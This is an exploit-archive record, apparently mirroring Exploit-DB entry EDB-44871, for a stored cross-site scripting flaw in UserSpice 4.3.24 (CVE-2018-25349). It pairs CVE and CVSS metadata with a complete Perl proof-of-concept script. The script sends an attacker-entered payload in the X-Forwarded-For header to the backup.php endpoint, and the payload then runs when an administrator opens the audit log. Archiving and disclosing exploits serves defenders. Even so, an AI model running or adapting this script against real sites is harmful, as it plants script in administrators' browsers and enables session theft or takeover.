{"exploit":{"id":"EDB-44871","name":"UserSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting (XSS)","description":"UserSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting (XSS)","cves":["CVE-2018-25349"],"author":"Dolev Farhi","published":"2018-06-11","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44871","path":"exploits/php/webapps/44871.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44871.pl","vulnerabilities":[{"id":"CVE-2018-25349","state":"PUBLISHED","title":"userSpice 4.3.24 Cross-Site Scripting via X-Forwarded-For Header","titleSource":"CVE Program","description":"userSpice 4.3.24 contains a cross-site scripting vulnerability that allows attackers to inject malicious scripts through the X-Forwarded-For HTTP header. Attackers can send crafted requests to the backup.php endpoint with XSS payloads in the X-Forwarded-For header that execute when administrators visit the audit log page.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25349","cvss":{"version":"4.0","baseScore":5.1,"severity":"medium","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25349"},"updatedAt":"2026-05-27T16:10:22.223Z","retrievedAt":"2026-11-26T14:33:47.145Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44871.png?v=2","url":"https://exploitbin.com/exploits/EDB-44871","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44871/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44871/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# Exploit Title: userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting\n# Date: 2018-06-10\n# Author: Dolev Farhi\n# Vendor or Software Link: www.userspice.com\n# Version: 4.3.24\n# Tested on: Ubuntu\n# Payload will get executed when admin visits the audit log page\n\n\nuse strict;\nuse LWP::UserAgent;\n\nprint \"UserSpice 4.3.24 X-Forwarded-For XSS PoC\\n\";\n\nif ($#ARGV != 0 ) {\n\tprint \"usage: $0 <address> \\n\";\n\texit 1;\n}\n\nmy $server   = $ARGV[0] . \"/users/cron/backup.php?from=users/cron_manager.php/\";\nmy $ua = LWP::UserAgent->new;\nmy $req = HTTP::Request->new(GET => 'http://' . $server);\n\nprint \"Enter payload: \";\n\nmy $xff = <STDIN>;\nchomp $xff;\n\nif ($xff eq \"\")\n{\n print \"Empty payload \\n\";\n exit 1;\n}\n\n$req->header('X-Forwarded-For' => $xff);\n\nmy $resp = $ua->request($req);\nif ($resp->is_success) {\n    print \"[OK] Sent payload: $xff\\n\";\n    exit 0;\n}\nelse {\n    print \"[Error]: code: \", $resp->code, $resp->message, \"\\n\";\n    exit 1;\n}","sha256":"d46d6c81943a8337c41e9bb0813bd6b018aba8f97a432c1a7221e81523099445","bytes":953,"fetchedAt":"2026-11-26T21:10:14.450Z","encoding":"utf-8 (display only; download retains original bytes)"}